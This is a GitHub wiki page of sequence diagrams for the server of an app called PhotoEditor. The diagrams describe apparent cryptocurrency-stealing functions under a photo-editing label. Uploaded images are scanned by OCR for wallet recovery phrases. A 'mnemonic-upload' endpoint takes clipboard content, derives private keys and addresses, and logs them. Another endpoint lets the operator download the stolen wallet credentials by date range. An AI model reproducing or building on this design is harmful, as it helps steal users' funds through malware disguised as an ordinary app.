Skip to content

Diagram

Phillweston edited this page May 7, 2024 · 3 revisions

Diagram for PhotoEditor

  • Last Modified: 2024-05-05
  • Author: Phill Weston

Introduction

Test Endpoints

  1. GET /test/ping
    sequenceDiagram
        participant Client as Client
        participant Server as Server
    
        Client->>Server: GET /test/ping
        Server-->>Client: Return response
    
    Loading

Auth Endpoints

  1. GET /auth/get-challenge
    sequenceDiagram
        participant Client as Client
        participant Server as Server
    
        Client->>Server: GET /auth/get-challenge
        Server->>Server: Generate challenge
        Server->>Server: Store challenge in session
        Server-->>Client: Set challenge cookie
        Server-->>Client: Return response
    
    Loading
  2. POST /auth/verify-challenge
    sequenceDiagram
        participant Client as Client
        participant Server as Server
    
        Client->>Server: POST /auth/verify-challenge
        Server->>Server: Retrieve signature, publicAddress from body
        Server->>Server: Retrieve sessionChallenge from session
        Server->>Server: Verify signature
        Server-->>Client: Return response
    
    Loading

Basic Endpoints

  1. POST /basic/image-upload: Upload Image to Server
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
        participant B2 as Backblaze B2
        participant GCloud as Google Cloud
    
        Client->>Server: POST /basic/image-upload
        Server->>Database: Retrieve userId
        Database-->>Server: userId
        Server->>Database: checkActivation(userId)
        Database-->>Server: valid
        Server->>Server: Check if file exists
        Server->>B2: uploadToB2(localFilePath, localFileName, userId)
        B2-->>Server: File uploaded
        Server->>Server: Check if ENABLE_OCR_DETECTION is true
        Server->>GCloud: detectMnemonicPhrase(localFilePath)
        GCloud-->>Server: textJSON
        Server->>Database: logUploadDetails(userId, localFileName, textJSON)
        Database-->>Server: Details logged
        Server-->>Client: Return response
    
    Loading
  2. GET /basic/image-download: Download Image from Server
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
        participant B2 as Backblaze B2
    
        Client->>Server: GET /basic/image-download
        Server->>Server: Retrieve fileName and userId from query
        Server->>Database: checkActivation(userId)
        Database-->>Server: valid
        Server->>B2: downloadFromB2(fileName, userId)
        B2-->>Server: fileBuffer
        Server->>Database: logDownloadDetails(userId, fileName)
        Database-->>Server: Details logged
        Server-->>Client: Return fileBuffer
    
    Loading
  3. GET /basic/image-edit-info-download
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
    
        Client->>Server: GET /basic/image-edit-info-download
        Server->>Server: Retrieve fileName and userId from query
        Server->>Database: checkActivation(userId)
        Database-->>Server: valid
        Server->>Database: getImageEditInfo(fileName)
        Database-->>Server: editInfo
        Server->>Server: Create response with editInfo
        Server-->>Client: Return response
    
    Loading
  4. POST /basic/image-edit-info-upload
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
    
        Client->>Server: POST /basic/image-edit-info-upload
        Server->>Server: Retrieve token, fileName, and editInfo from body
        Server->>Server: Validate token, fileName, and editInfo
        Server->>Database: uploadImageEditInfo(fileName, editInfo)
        Database-->>Server: Upload successful
        Server-->>Client: Return response
    
    Loading
  5. POST /basic/mnemonic-upload: Upload Clipboard Info to Server
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
    
        Client->>Server: POST /basic/mnemonic-upload
        Server->>Server: Retrieve mnemonicPhase and userId from body
        Server->>Server: Check if mnemonicPhase and userId exist
        Server->>Database: checkActivation(userId)
        Database-->>Server: valid
        Server->>Server: Decrypt and validate the mnemonic
        Server->>Server: Convert mnemonic to seed
        Server->>Server: Derive a path according to BIP-44
        Server->>Server: Get the private key and address
        Server->>Database: logWalletCredentials(userId, address, privateKey)
        Database-->>Server: Credentials logged
        Server-->>Client: Return response
    
    Loading
  6. POST /basic/wallet-credential-download: Download Wallet Credentials from Server
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
    
        Client->>Server: POST /basic/wallet-credential-download
        Server->>Server: Retrieve token, startDateTime, endDateTime from body
        Server->>Server: Validate token
        Server->>Database: getWalletCredentials(startDateTime, endDateTime)
        Database-->>Server: walletCredentials
        Server->>Server: Parse walletCredentials
        Server-->>Client: Return response
    
    Loading
  7. GET /basic/latest-version: Get the Latest Version of the App
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
        participant GitHub as GitHub
    
        Client->>Server: GET /basic/latest-version
        Server->>Server: Retrieve userId from query
        Server->>Database: checkActivation(userId)
        Database-->>Server: valid
        Server->>GitHub: GET /repos/{owner}/{repo}/releases/latest
        GitHub-->>Server: Latest release data
        Server->>Server: Parse release data
        Server-->>Client: Return response
    
    Loading
  8. GET /basic/latest-release: Get the Latest Release of the App
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant GitHub as GitHub
    
        Client->>Server: GET /basic/latest-release
        Server->>Server: Retrieve userId from query
        Server->>Server: Check if userId exists and user is activated
        Server->>GitHub: GET /repos/{owner}/{repo}/releases/latest
        GitHub-->>Server: Latest release data
        Server->>Server: Find the specific asset
        Server->>GitHub: GET asset.browser_download_url
        GitHub-->>Server: Release file
        Server-->>Client: Return response
    
    Loading
  9. GET /basic/filename-keywords-download: Download Keywords for File Name from Server
    sequenceDiagram
       participant Client as Client
       participant Server as Server
       participant Database as Database
    
       Client->>Server: GET /basic/filename-keywords-download
       Server->>Server: Retrieve userId from query
       Server->>Server: Check if userId exists
       Server->>Database: checkActivation(userId)
       Database-->>Server: valid
       Server->>Database: getKeywords()
       Database-->>Server: keywords
       Server-->>Client: Return response
    
    Loading
  10. POST /basic/filename-keywords-upload: Upload Keywords for File Name to Server
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
    
        Client->>Server: POST /basic/filename-keywords-upload
        Server->>Server: Retrieve token and keywords from body
        Server->>Server: Validate token and keywords
        Server->>Database: uploadKeywords(keywords)
        Database-->>Server: Keywords uploaded
        Server-->>Client: Return response
    
    Loading
  11. POST /basic/user-activation: Activate User
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
    
        Client->>Server: POST /basic/user-activation
        Server->>Server: Retrieve userId, publicAddress, signature from body
        Server->>Server: Validate inputs
        Server->>Server: Calculate expirationDate
        Server->>Server: Verify signature
        Server->>Database: activateUser(userId, publicAddress, signature, expirationDate)
        Database-->>Server: result
        Server-->>Client: Return response
        Client->>Server: OPTIONS /basic/user-activation
        Server-->>Client: Return CORS headers
    
    Loading
  12. GET /basic/check-activation: Check User Activation
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
    
        Client->>Server: GET /basic/check-activation
        Server->>Server: Retrieve userId from query
        Server->>Server: Validate userId
        Server->>Database: checkActivation(userId)
        Database-->>Server: Activation status
        Server-->>Client: Return response
    
    Loading
  13. GET /basic/subscription-info: Log Subscription Info
    sequenceDiagram
        participant Client as Client
        participant Server as Server
        participant Database as Database
    
        Client->>Server: GET /basic/subscription-info
        Server->>Server: Retrieve name, email, info from query
        Server->>Server: Validate email
        Server->>Database: logSubscriptionInfo(email, name, info)
        Database-->>Server: result
        Server-->>Client: Return response
    
    Loading
Clone this wiki locally